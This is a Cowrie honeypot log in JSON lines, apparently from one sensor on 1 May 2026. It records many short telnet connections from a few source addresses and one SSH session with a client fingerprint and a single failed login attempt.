{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":35090,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ccb90445ed9","protocol":"telnet","message":"New connection: 94.46.12.68:35090 (10.17.0.5:23) [session: 8ccb90445ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:29.059701Z"}
{"eventid":"cowrie.session.closed","duration":30.934233903884888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:29.453866Z","src_ip":"146.185.21.169","session":"d41cc363371b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749610662460327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:29.559601Z","src_ip":"94.46.12.68","session":"8e7a77665852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03893494606018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:30.588726Z","src_ip":"94.46.12.68","session":"5c8d932f18a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":40316,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c80ab24282","protocol":"telnet","message":"New connection: 94.46.12.68:40316 (10.17.0.5:23) [session: 10c80ab24282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:31.347311Z"}
{"eventid":"cowrie.session.closed","duration":31.169328689575195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:31.563719Z","src_ip":"94.46.12.68","session":"f9b41042dd3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00115776062012,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:32.415641Z","src_ip":"98.51.244.245","session":"2d1644d2e7be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":42672,"dst_ip":"10.17.0.5","dst_port":23,"session":"71ac011850f2","protocol":"telnet","message":"New connection: 94.46.12.68:42672 (10.17.0.5:23) [session: 71ac011850f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:32.473305Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":45558,"dst_ip":"10.17.0.5","dst_port":23,"session":"92e3945794d0","protocol":"telnet","message":"New connection: 94.46.12.68:45558 (10.17.0.5:23) [session: 92e3945794d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:33.594504Z"}
{"eventid":"cowrie.session.closed","duration":31.138009548187256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:33.677640Z","src_ip":"94.46.12.68","session":"5b0b32599a3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46896,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d42e2d7a69","protocol":"telnet","message":"New connection: 94.46.12.68:46896 (10.17.0.5:23) [session: 70d42e2d7a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:33.982868Z"}
{"eventid":"cowrie.session.closed","duration":30.716598510742188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:34.164558Z","src_ip":"94.46.12.68","session":"ed515ece8d82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":56126,"dst_ip":"159.203.135.109","dst_port":23,"session":"a13ec65aedca","protocol":"telnet","message":"New connection: 98.51.244.245:56126 (159.203.135.109:23) [session: a13ec65aedca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:34.361257Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":55790,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7837e2c4f68","protocol":"telnet","message":"New connection: 62.72.47.216:55790 (10.17.0.5:23) [session: e7837e2c4f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:34.435794Z"}
{"eventid":"cowrie.session.closed","duration":30.645723342895508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:35.046128Z","src_ip":"146.185.21.169","session":"32b7d84cc071","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.152462005615234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:35.052834Z","src_ip":"146.185.21.169","session":"ea55e96fb0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":51058,"dst_ip":"10.17.0.5","dst_port":23,"session":"10bce99fcbb7","protocol":"telnet","message":"New connection: 94.46.12.68:51058 (10.17.0.5:23) [session: 10bce99fcbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:35.868606Z"}
{"eventid":"cowrie.session.closed","duration":30.645556211471558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:36.223836Z","src_ip":"94.46.12.68","session":"5d11906a6927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.315459728240967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:36.574720Z","src_ip":"94.46.12.68","session":"8755b0343d57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47846794128418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:37.220750Z","src_ip":"94.46.12.68","session":"4c2dd2551e3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963459730148315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:37.547901Z","src_ip":"94.46.12.68","session":"c1b5a212b506","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.698059558868408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:39.149756Z","src_ip":"94.46.12.68","session":"c5141819652c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":34452,"dst_ip":"10.17.0.5","dst_port":23,"session":"001cd00e6442","protocol":"telnet","message":"New connection: 146.185.21.169:34452 (10.17.0.5:23) [session: 001cd00e6442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:39.320047Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":38116,"dst_ip":"10.17.0.5","dst_port":23,"session":"974f51deee93","protocol":"telnet","message":"New connection: 146.185.21.169:38116 (10.17.0.5:23) [session: 974f51deee93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:40.720823Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34122,"dst_ip":"10.17.0.5","dst_port":23,"session":"254f38e15726","protocol":"telnet","message":"New connection: 94.46.12.68:34122 (10.17.0.5:23) [session: 254f38e15726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:40.814153Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":39336,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca81fcbec906","protocol":"telnet","message":"New connection: 146.185.21.169:39336 (10.17.0.5:23) [session: ca81fcbec906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:41.519798Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":37668,"dst_ip":"10.17.0.5","dst_port":23,"session":"8933a26c7c0c","protocol":"telnet","message":"New connection: 94.46.12.68:37668 (10.17.0.5:23) [session: 8933a26c7c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:42.484363Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":46948,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a90f386cfd9","protocol":"telnet","message":"New connection: 62.72.47.216:46948 (10.17.0.5:23) [session: 0a90f386cfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:42.675986Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":47166,"dst_ip":"10.17.0.5","dst_port":23,"session":"a95b0bbac711","protocol":"telnet","message":"New connection: 62.72.47.216:47166 (10.17.0.5:23) [session: a95b0bbac711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:42.759369Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":41498,"dst_ip":"10.17.0.5","dst_port":23,"session":"8633ca378eea","protocol":"telnet","message":"New connection: 146.185.21.169:41498 (10.17.0.5:23) [session: 8633ca378eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:44.031586Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":43122,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f3cf4fea215","protocol":"telnet","message":"New connection: 146.185.21.169:43122 (10.17.0.5:23) [session: 3f3cf4fea215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:44.058006Z"}
{"eventid":"cowrie.session.closed","duration":30.73015308380127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:44.211860Z","src_ip":"94.46.12.68","session":"77dbb2756f48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88094973564148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:46.575655Z","src_ip":"94.46.12.68","session":"86e9b6e82234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86864447593689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:46.724482Z","src_ip":"146.185.21.169","session":"d14a00889904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":56388,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ccae3bf931b","protocol":"telnet","message":"New connection: 62.72.47.216:56388 (10.17.0.5:23) [session: 5ccae3bf931b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:46.802163Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50210,"dst_ip":"10.17.0.5","dst_port":23,"session":"18049799ea0a","protocol":"telnet","message":"New connection: 146.185.21.169:50210 (10.17.0.5:23) [session: 18049799ea0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:49.058328Z"}
{"eventid":"cowrie.session.closed","duration":31.39682126045227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:49.392540Z","src_ip":"94.46.12.68","session":"864413c2c07a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50668,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d20fc1f28c","protocol":"telnet","message":"New connection: 146.185.21.169:50668 (10.17.0.5:23) [session: 70d20fc1f28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:50.595631Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.27.197.195","src_port":54528,"dst_ip":"159.203.135.109","dst_port":23,"session":"83604076af9b","protocol":"telnet","message":"New connection: 193.27.197.195:54528 (159.203.135.109:23) [session: 83604076af9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:50.927894Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50968,"dst_ip":"10.17.0.5","dst_port":23,"session":"d872cd435a78","protocol":"telnet","message":"New connection: 146.185.21.169:50968 (10.17.0.5:23) [session: d872cd435a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:51.551742Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51322,"dst_ip":"10.17.0.5","dst_port":23,"session":"5efa915c9048","protocol":"telnet","message":"New connection: 146.185.21.169:51322 (10.17.0.5:23) [session: 5efa915c9048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:51.902843Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":44808,"dst_ip":"10.17.0.5","dst_port":23,"session":"464dc9682159","protocol":"telnet","message":"New connection: 146.185.21.169:44808 (10.17.0.5:23) [session: 464dc9682159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:53.191885Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":53290,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d609df93556","protocol":"telnet","message":"New connection: 146.185.21.169:53290 (10.17.0.5:23) [session: 3d609df93556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:53.534889Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34952,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eedd8c6980b","protocol":"telnet","message":"New connection: 94.46.12.68:34952 (10.17.0.5:23) [session: 0eedd8c6980b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:53.684554Z"}
{"eventid":"cowrie.session.closed","duration":48.2965452671051,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:53.812122Z","src_ip":"146.185.21.169","session":"8482ef75e7a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000032663345337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:54.209252Z","src_ip":"94.46.12.68","session":"68a3e8a7e670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867289543151855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:54.393603Z","src_ip":"94.46.12.68","session":"f4cb829c490f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.351097106933594,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:55.001703Z","src_ip":"94.46.12.68","session":"40752e5be56d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":55470,"dst_ip":"10.17.0.5","dst_port":23,"session":"07261865c261","protocol":"telnet","message":"New connection: 146.185.21.169:55470 (10.17.0.5:23) [session: 07261865c261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:55.334878Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":57156,"dst_ip":"10.17.0.5","dst_port":23,"session":"217a7e0963bf","protocol":"telnet","message":"New connection: 146.185.21.169:57156 (10.17.0.5:23) [session: 217a7e0963bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:55.728468Z"}
{"eventid":"cowrie.session.closed","duration":30.801621198654175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:56.589078Z","src_ip":"94.46.12.68","session":"dd5b88ae4786","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":50854,"dst_ip":"10.17.0.5","dst_port":23,"session":"8850e7a3cb73","protocol":"telnet","message":"New connection: 62.72.47.216:50854 (10.17.0.5:23) [session: 8850e7a3cb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:56.616834Z"}
{"eventid":"cowrie.session.closed","duration":31.946635961532593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:57.034755Z","src_ip":"146.185.21.169","session":"761cb3f91e88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":57728,"dst_ip":"10.17.0.5","dst_port":23,"session":"26e7d7df3e88","protocol":"telnet","message":"New connection: 146.185.21.169:57728 (10.17.0.5:23) [session: 26e7d7df3e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:57.203290Z"}
{"eventid":"cowrie.session.closed","duration":30.6427743434906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:57.402103Z","src_ip":"94.46.12.68","session":"918a20935990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":59058,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdd30ecc6192","protocol":"telnet","message":"New connection: 146.185.21.169:59058 (10.17.0.5:23) [session: bdd30ecc6192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:57.436616Z"}
{"eventid":"cowrie.session.closed","duration":31.216545581817627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:57.569409Z","src_ip":"94.46.12.68","session":"5849d1a1114b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.387459993362427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:58.046577Z","src_ip":"146.185.21.169","session":"35a24c57c7bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49429178237915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:59.360463Z","src_ip":"94.46.12.68","session":"79db0d89ff18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":32854,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e90ffd00d0","protocol":"telnet","message":"New connection: 146.185.21.169:32854 (10.17.0.5:23) [session: 67e90ffd00d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:59.375621Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":59166,"dst_ip":"10.17.0.5","dst_port":23,"session":"9286bcc55ccf","protocol":"telnet","message":"New connection: 146.185.21.169:59166 (10.17.0.5:23) [session: 9286bcc55ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:59.595797Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48710,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac110afa5f00","protocol":"telnet","message":"New connection: 94.46.12.68:48710 (10.17.0.5:23) [session: ac110afa5f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:59.708634Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ad61ffcf214","protocol":"telnet","message":"New connection: 146.185.21.169:32904 (10.17.0.5:23) [session: 5ad61ffcf214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:00.464515Z"}
{"eventid":"cowrie.session.closed","duration":31.812774896621704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:00.872380Z","src_ip":"94.46.12.68","session":"8ccb90445ed9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":49438,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d1835e1e3c6","protocol":"telnet","message":"New connection: 94.46.12.68:49438 (10.17.0.5:23) [session: 8d1835e1e3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:00.926710Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":60082,"dst_ip":"10.17.0.5","dst_port":23,"session":"65a147b52afb","protocol":"telnet","message":"New connection: 146.185.21.169:60082 (10.17.0.5:23) [session: 65a147b52afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:01.508543Z"}
{"eventid":"cowrie.session.closed","duration":31.181642770767212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:02.528818Z","src_ip":"94.46.12.68","session":"10c80ab24282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":34616,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4346b754ff","protocol":"telnet","message":"New connection: 146.185.21.169:34616 (10.17.0.5:23) [session: ff4346b754ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:02.884370Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":40664,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de12fe673b2","protocol":"ssh","message":"New connection: 181.65.191.218:40664 (10.17.0.5:22) [session: 4de12fe673b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:03.008723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:03.014275Z","src_ip":"181.65.191.218","session":"4de12fe673b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:03.135487Z","src_ip":"181.65.191.218","session":"4de12fe673b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15030860900879,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:03.623518Z","src_ip":"94.46.12.68","session":"71ac011850f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456@Aa","message":"login attempt [ubuntu/123456@Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:03.629688Z","src_ip":"181.65.191.218","session":"4de12fe673b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.987623929977417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:04.582005Z","src_ip":"94.46.12.68","session":"92e3945794d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:04.756379Z","src_ip":"181.65.191.218","session":"4de12fe673b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.160959482192993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:05.143688Z","src_ip":"94.46.12.68","session":"70d42e2d7a69","protocol":"telnet"}
